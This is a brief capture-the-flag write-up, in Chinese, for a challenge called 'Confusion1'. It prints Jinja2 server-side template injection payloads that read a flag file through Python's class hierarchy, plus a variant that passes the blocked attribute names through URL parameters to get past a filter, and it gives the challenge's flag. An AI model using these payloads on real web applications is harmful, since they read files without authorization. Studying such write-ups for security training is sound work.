Confusion1

login.php中Ctrl+U查看页面源码发现flag路径

login.php4测试ssti漏洞

测试pyaload:
1 | {{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}} |

被过滤了
参数替换payload:
1 | {{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read |

cyberpeace{6df74ab602e50a9c41d5bb417cb241ed}